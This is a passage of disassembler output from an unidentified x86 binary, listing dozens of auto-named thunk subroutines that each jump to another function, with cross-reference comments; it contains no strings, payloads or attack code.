sub_13C8A70+18Ep jmp sub_13CBD00 sub_13ABC16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC1B proc near jmp sub_13D1340 sub_13ABC1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC20 proc near ; CODE XREF: sub_13C1140+AFp jmp sub_13C2200 sub_13ABC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC25 proc near jmp sub_13D9040 sub_13ABC25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC2A proc near ; CODE XREF: sub_13C8A70+3BCp ; sub_13CC9C0+3p jmp sub_13CC060 sub_13ABC2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC2F proc near ; CODE XREF: sub_13D0AC0+90p jmp sub_13D0D80 sub_13ABC2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC34 proc near ; CODE XREF: sub_13CE770+1Dp ; sub_13CEC60+135p jmp sub_13CE7C0 sub_13ABC34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC39 proc near ; CODE XREF: sub_13B6240+3p ; sub_13B62C0+4Fp ... jmp sub_13B6480 sub_13ABC39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC3E proc near ; CODE XREF: sub_13B14F0+36p ; sub_13B14F0+72p ... jmp sub_13B1740 sub_13ABC3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC43 proc near ; CODE XREF: sub_13BD530+61p jmp sub_13BFA90 sub_13ABC43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC48 proc near ; CODE XREF: sub_13B5CD0+101p ; sub_13B5CD0+1C8p ... jmp sub_13BCEB0 sub_13ABC48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC4D proc near jmp near ptr dword_13DBDB0+1A0h sub_13ABC4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC52 proc near jmp near ptr dword_13DBDB0+210h sub_13ABC52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC57 proc near ; CODE XREF: sub_13C0770+7p jmp sub_13C0B50 sub_13ABC57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC5C proc near ; CODE XREF: sub_13C2740+34p jmp sub_13AF020 sub_13ABC5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC61 proc near ; CODE XREF: sub_13AD8E0+7Ap ; sub_13AD8E0+9Ep ... jmp sub_13B3F40 sub_13ABC61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC66 proc near ; CODE XREF: sub_13CA940+152p jmp sub_13CABB0 sub_13ABC66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC6B proc near ; CODE XREF: sub_13C4590+A8p ; sub_13C5420+3p jmp sub_13C5450 sub_13ABC6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC70 proc near jmp sub_13D4190 sub_13ABC70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC75 proc near jmp sub_13C64F0 sub_13ABC75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC7A proc near ; CODE XREF: sub_13C0DA0+BBp jmp sub_13C1120 sub_13ABC7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC7F proc near ; CODE XREF: sub_13BA370+217p ; sub_13CA1A0+4Cp ... jmp sub_13CA160 sub_13ABC7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC84 proc near ; CODE XREF: sub_13D3EC0+9Dp jmp sub_13D2580 sub_13ABC84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC89 proc near ; CODE XREF: sub_13D6280+1A5p jmp sub_13D21E0 sub_13ABC89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC8E proc near jmp sub_13D4570 sub_13ABC8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC93 proc near ; CODE XREF: sub_13C58C0+DDp jmp sub_13C5140 sub_13ABC93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC98 proc near ; CODE XREF: sub_13D9EC0+CCp jmp near ptr 13DD2F0h sub_13ABC98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC9D proc near ; CODE XREF: sub_13BE530+A5p ; sub_13BF150+1B2p jmp sub_13BE1B0 sub_13ABC9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCA2 proc near ; CODE XREF: sub_13BC3F0+1B6p jmp sub_13B4510 sub_13ABCA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCA7 proc near ; CODE XREF: sub_13C8A70+5ABp jmp sub_13CA7E0 sub_13ABCA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCAC proc near jmp near ptr 13DC130h sub_13ABCAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCB1 proc near ; CODE XREF: sub_13B4D10+14p jmp sub_13B4FC0 sub_13ABCB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCB6 proc near ; CODE XREF: sub_13BD920+B4p ; sub_13BEF00+A0p ... jmp sub_13BFA30 sub_13ABCB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCBB proc near ; CODE XREF: sub_13C46C0+6Dp ; sub_13C46C0+1B5p jmp sub_13C5370 sub_13ABCBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCC0 proc near jmp sub_13DAEB0 sub_13ABCC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCC5 proc near ; CODE XREF: sub_13C32A0+5Fp jmp sub_13C3440 sub_13ABCC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCCA proc near ; CODE XREF: sub_13C0DA0+10Bp jmp sub_13C1D00 sub_13ABCCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCCF proc near jmp sub_13C41E0 sub_13ABCCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCD4 proc near jmp sub_13C44F0 sub_13ABCD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCD9 proc near ; CODE XREF: sub_13C8A70+46p jmp sub_13CBCC0 sub_13ABCD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCDE proc near ; CODE XREF: sub_13D6280+2D5p jmp sub_13D3DE0 sub_13ABCDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCE3 proc near ; CODE XREF: sub_13CC540+7p jmp sub_13CC930 sub_13ABCE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCE8 proc near ; CODE XREF: sub_13CC3C0+9p ; sub_13CC820+18p jmp sub_13CC9A0 sub_13ABCE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCED proc near ; CODE XREF: sub_13CC5C0+8p jmp sub_13CC980 sub_13ABCED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCF2 proc near ; CODE XREF: sub_13BD7E0+43p ; sub_13BEBE0+4Fp ... jmp sub_13BFB40 sub_13ABCF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCF7 proc near jmp sub_13DAE30 sub_13ABCF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABCFC proc near ; CODE XREF: sub_13CBDE0+1Fp jmp sub_13CC160 sub_13ABCFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD01 proc near ; CODE XREF: sub_13CBCC0+11p ; sub_13CC160+1Fp jmp sub_13CC290 sub_13ABD01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD06 proc near ; CODE XREF: sub_13B5790+6Dp jmp sub_13B6190 sub_13ABD06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD0B proc near ; CODE XREF: sub_13B3850+13p jmp loc_13B3980 sub_13ABD0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD10 proc near jmp near ptr 13E09E0h sub_13ABD10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD15 proc near jmp sub_13C5420 sub_13ABD15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD1A proc near jmp sub_13C10F0 sub_13ABD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD1F proc near ; CODE XREF: sub_13BDEF0+51p jmp sub_13BDDC0 sub_13ABD1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD24 proc near ; CODE XREF: sub_13BD530+73p ; sub_13BD630+32p jmp sub_13BF8E0 sub_13ABD24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD29 proc near ; CODE XREF: sub_13C0DA0+1BBp jmp sub_13C1430 sub_13ABD29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD2E proc near jmp near ptr dword_13DB320+1A0h sub_13ABD2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD33 proc near jmp near ptr 13DD910h sub_13ABD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD38 proc near ; CODE XREF: sub_13C6A20+F1p ; sub_13C6A20+270p ... jmp sub_13CB220 sub_13ABD38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD3D proc near jmp sub_13B4800 sub_13ABD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD42 proc near ; CODE XREF: sub_13AF070+283p ; sub_13B9180+D2p ... jmp sub_13B93A0 sub_13ABD42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD47 proc near ; CODE XREF: sub_13CBD00+34p ; sub_13CC650+67p jmp sub_13CC2E0 sub_13ABD47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD4C proc near ; CODE XREF: sub_13AF070+BF7p jmp sub_13B0AE0 sub_13ABD4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD51 proc near jmp near ptr 13DC780h sub_13ABD51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD56 proc near jmp sub_13C9F40 sub_13ABD56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD5B proc near ; CODE XREF: sub_13C4590+1Ep ; sub_13C46C0+Bp ... jmp sub_13C46A0 sub_13ABD5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD60 proc near ; CODE XREF: sub_13C4F30+66p ; sub_13C5010+66p jmp sub_13C4CA0 sub_13ABD60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD65 proc near ; CODE XREF: sub_13C28A0+274p jmp sub_13C3630 sub_13ABD65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD6A proc near ; CODE XREF: sub_13BBD20+2Ep ; sub_13BBF20+3p jmp sub_13BBE60 sub_13ABD6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD6F proc near ; CODE XREF: sub_13C8A70+F5p ; sub_13C8A70+16Fp ... jmp sub_13CBDB0 sub_13ABD6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD74 proc near ; CODE XREF: sub_13B3850+4p ; sub_13B3A00+1Fp ... jmp sub_13B3900 sub_13ABD74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD79 proc near ; CODE XREF: sub_13C28A0+88p jmp sub_13B3E30 sub_13ABD79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD7E proc near ; CODE XREF: sub_13C9C70+20p ; sub_13D3EC0+37p jmp sub_13CA260 sub_13ABD7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD83 proc near ; CODE XREF: sub_13BD920+4Ap ; sub_13BEF00+4Fp ... jmp sub_13BF830 sub_13ABD83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD88 proc near ; CODE XREF: sub_13B4830+A8p jmp sub_13B4C50 sub_13ABD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD8D proc near ; CODE XREF: sub_13B6FB0+45p jmp sub_13B7260 sub_13ABD8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD92 proc near jmp near ptr 13DD580h sub_13ABD92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD97 proc near ; CODE XREF: sub_13CBD00+29p jmp sub_13CC200 sub_13ABD97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABD9C proc near jmp sub_13D9110 sub_13ABD9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDA1 proc near jmp sub_13D90E0 sub_13ABDA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDA6 proc near ; CODE XREF: sub_13B4B90+Dp ; sub_13B4DF0+91p jmp sub_13B4D10 sub_13ABDA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDAB proc near ; CODE XREF: sub_13CC460+23p ; sub_13CC820+11p jmp sub_13CC9C0 sub_13ABDAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDB0 proc near jmp sub_13C4F30 sub_13ABDB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDB5 proc near ; CODE XREF: sub_13AE3C0+2Cp ; sub_13AE3C0+7Fp ... jmp sub_13AD8E0 sub_13ABDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDBA proc near ; CODE XREF: sub_13CCB60+6p jmp sub_13CCBD0 sub_13ABDBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDBF proc near jmp sub_13C1040 sub_13ABDBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDC4 proc near jmp sub_13BA180 sub_13ABDC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDC9 proc near ; CODE XREF: sub_13B1810+4p jmp sub_13B1940 sub_13ABDC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDCE proc near ; CODE XREF: sub_13B59F0+39p ; sub_13B5CD0+176p ... jmp sub_13B5920 sub_13ABDCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDD3 proc near ; CODE XREF: sub_13BA370+AF4p ; sub_13BA370+E6Ap jmp sub_13BBF20 sub_13ABDD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDD8 proc near jmp near ptr 13DCD60h sub_13ABDD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDDD proc near ; CODE XREF: sub_13BE8E0+CEp jmp sub_13BEA50 sub_13ABDDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDE2 proc near jmp sub_13D5CA0 sub_13ABDE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDE7 proc near jmp sub_13C7B40 sub_13ABDE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDEC proc near ; CODE XREF: sub_13CBE20+3p jmp sub_13CC340 sub_13ABDEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDF1 proc near ; CODE XREF: sub_13C1140+5Fp jmp sub_13B54B0 sub_13ABDF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDF6 proc near ; CODE XREF: sub_13C28A0+B3p jmp sub_13BD6F0 sub_13ABDF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABDFB proc near ; CODE XREF: sub_13C8A70+477p jmp sub_13CA500 sub_13ABDFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE00 proc near jmp sub_13CBC60 sub_13ABE00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE05 proc near jmp sub_13D1A70 sub_13ABE05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE0A proc near ; CODE XREF: sub_13C28A0+236p jmp sub_13BBF50 sub_13ABE0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE0F proc near jmp sub_13DAD60 sub_13ABE0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE14 proc near jmp sub_13D23E0 sub_13ABE14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE19 proc near jmp sub_13D0E30 sub_13ABE19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE1E proc near ; CODE XREF: sub_13CC200+32p jmp sub_13CC650 sub_13ABE1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE23 proc near ; CODE XREF: sub_13C0DA0+14Bp ; sub_13C1040+3p jmp sub_13C1010 sub_13ABE23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE28 proc near ; CODE XREF: sub_13CDD50+C4p ; sub_13D1500+218p ... jmp sub_13CB110 sub_13ABE28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE2D proc near ; CODE XREF: sub_13CC620+Ap jmp sub_13CCA30 sub_13ABE2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE32 proc near ; CODE XREF: sub_13BD0C0+21Fp ; sub_13BD0C0+2D4p ... jmp sub_13AEA40 sub_13ABE32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE37 proc near ; CODE XREF: sub_13B3850+1Ap ; sub_13B3930+4p ... jmp sub_13B38C0 sub_13ABE37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE3C proc near jmp sub_13BA180 sub_13ABE3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE41 proc near jmp sub_13D0AC0 sub_13ABE41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE46 proc near jmp sub_13B4150 sub_13ABE46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE4B proc near ; CODE XREF: sub_13BFEB0+1Ep jmp sub_13C0960 sub_13ABE4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE50 proc near ; CODE XREF: sub_13D96D0+40p ; sub_13DAEF0+6Bp ... jmp sub_13DA760 sub_13ABE50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE55 proc near ; CODE XREF: sub_13BDBF0+3Ep jmp near ptr 13DDD20h sub_13ABE55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE5A proc near ; CODE XREF: sub_13BEDB0+3p jmp sub_13BEDE0 sub_13ABE5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE5F proc near ; CODE XREF: sub_13B1B90+A46p ; sub_13B1B90+ED7p jmp sub_13B3890 sub_13ABE5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE64 proc near jmp sub_13D07F0 sub_13ABE64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE69 proc near ; CODE XREF: sub_13C7C40+1ADp jmp sub_13D6C30 sub_13ABE69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE6E proc near ; CODE XREF: sub_13CA940+191p ; sub_13CCBD0+3p jmp sub_13CABD0 sub_13ABE6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE73 proc near jmp sub_13D9410 sub_13ABE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE78 proc near ; CODE XREF: sub_13CC9F0+5p jmp sub_13CCB60 sub_13ABE78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE7D proc near ; CODE XREF: sub_13C1140+11Ap jmp sub_13C2510 sub_13ABE7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE82 proc near ; CODE XREF: sub_13B1620+5p ; sub_13B1710+6p ... jmp sub_13B1860 sub_13ABE82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE87 proc near ; CODE XREF: sub_13AD8E0+90p ; sub_13AF070+40Fp ... jmp sub_13B4AA0 sub_13ABE87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE8C proc near ; CODE XREF: sub_13C7C40+2FFp ; sub_13C9340+52Fp jmp sub_13CA1A0 sub_13ABE8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE91 proc near jmp sub_13D9C60 sub_13ABE91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE96 proc near ; CODE XREF: sub_13BF8A0+1Fp jmp sub_13C01E0 sub_13ABE96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABE9B proc near ; CODE XREF: sub_13AD8E0+E5p ; sub_13B4270+Fp ... jmp sub_13B41A0 sub_13ABE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEA0 proc near jmp near ptr 13DDB30h sub_13ABEA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEA5 proc near jmp near ptr 13DD8A0h sub_13ABEA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEAA proc near jmp sub_13CCAD0 sub_13ABEAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEAF proc near jmp sub_13D0E30 sub_13ABEAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEB4 proc near ; CODE XREF: sub_13CF2B0+E5p ; sub_13CF2B0+120p jmp sub_13CF160 sub_13ABEB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEB9 proc near jmp sub_13BC3F0 sub_13ABEB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEBE proc near jmp sub_13C9EA0 sub_13ABEBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEC3 proc near ; CODE XREF: sub_13B14F0+Bp jmp sub_13B16D0 sub_13ABEC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEC8 proc near jmp near ptr 13DCFC0h sub_13ABEC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABECD proc near jmp sub_13B5CD0 sub_13ABECD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABED2 proc near ; CODE XREF: sub_13AE2E0+2Bp ; sub_13AE2E0+3Bp ... jmp sub_13AE110 sub_13ABED2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABED7 proc near ; CODE XREF: sub_13BD920+66p ; sub_13BD920+CAp ... jmp sub_13BFA60 sub_13ABED7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEDC proc near jmp sub_13C5B90 sub_13ABEDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEE1 proc near ; CODE XREF: sub_13C28A0+203p jmp sub_13CCC00 sub_13ABEE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEE6 proc near ; CODE XREF: sub_13C0DA0+19Bp jmp sub_13B5570 sub_13ABEE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEEB proc near ; CODE XREF: sub_13CBA30+144p ; sub_13CBA30+17Ep jmp sub_13CB9E0 sub_13ABEEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEF0 proc near ; CODE XREF: sub_13AEFE0+15p jmp sub_13B14F0 sub_13ABEF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEF5 proc near jmp sub_13C44F0 sub_13ABEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEFA proc near ; CODE XREF: sub_13C1140+1DFp jmp sub_13C2D10 sub_13ABEFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABEFF proc near jmp sub_13B6EF0 sub_13ABEFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF04 proc near jmp sub_13D4190 sub_13ABF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF09 proc near ; CODE XREF: sub_13C13C0+28p jmp sub_13C2CA0 sub_13ABF09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF0E proc near jmp near ptr dword_13DBDB0+90h sub_13ABF0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF13 proc near ; CODE XREF: sub_13DA370+Bp ; sub_13DA690+16p jmp sub_13DA7F0 sub_13ABF13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF18 proc near ; CODE XREF: sub_13C28A0+2AAp jmp sub_13B52A0 sub_13ABF18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF1D proc near ; CODE XREF: sub_13C3060+2Bp ; sub_13C32A0+28p ... jmp sub_13C3360 sub_13ABF1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF22 proc near jmp sub_13D5910 sub_13ABF22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF27 proc near ; CODE XREF: sub_13C0DA0+EBp jmp sub_13C1DE0 sub_13ABF27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF2C proc near ; CODE XREF: sub_13B1B90+F7Cp ; sub_13B1B90+F9Dp ... jmp sub_13B1A60 sub_13ABF2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF31 proc near jmp sub_13BEF00 sub_13ABF31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF36 proc near ; CODE XREF: sub_13C6A20+83p ; sub_13D26E0+3Fp jmp sub_13C7950 sub_13ABF36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF3B proc near ; CODE XREF: sub_13C4CA0+11p jmp sub_13C4CD0 sub_13ABF3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF40 proc near ; CODE XREF: sub_13C8A70+339p jmp sub_13CC020 sub_13ABF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF45 proc near ; CODE XREF: sub_13BF080+3p jmp sub_13BF0B0 sub_13ABF45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF4A proc near jmp near ptr 13DD0C0h sub_13ABF4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF4F proc near ; CODE XREF: sub_13D9EC0+29p jmp sub_13D9960 sub_13ABF4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF54 proc near ; CODE XREF: sub_13BA1B0+38p jmp sub_13BCFD0 sub_13ABF54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF59 proc near ; CODE XREF: sub_13C28A0+112p jmp sub_13B7990 sub_13ABF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF5E proc near ; CODE XREF: sub_13B1A60+3Bp ; sub_13B1AF0+43p jmp sub_13B5830 sub_13ABF5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF63 proc near ; CODE XREF: sub_13B16D0+3p jmp sub_13B18A0 sub_13ABF63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF68 proc near ; CODE XREF: sub_13CEC60+9Dp ; sub_13CEC60+FBp ... jmp sub_13CEA10 sub_13ABF68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF6D proc near jmp sub_13CFFF0 sub_13ABF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF72 proc near ; CODE XREF: sub_13BA370+413p ; sub_13BA370+F69p ... jmp sub_13B4360 sub_13ABF72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF77 proc near ; CODE XREF: sub_13CF830+64p jmp sub_13CF900 sub_13ABF77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF7C proc near ; CODE XREF: sub_13CC460+32p jmp sub_13CC820 sub_13ABF7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF81 proc near ; CODE XREF: sub_13C58C0+A5p jmp sub_13C4AE0 sub_13ABF81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF86 proc near ; CODE XREF: sub_13B6360+23p ; sub_13B6520+11p jmp sub_13B66C0 sub_13ABF86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF8B proc near ; CODE XREF: sub_13D5C50+3p jmp sub_13D5C80 sub_13ABF8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF90 proc near ; CODE XREF: sub_13C28A0+25Ep jmp sub_13C8550 sub_13ABF90 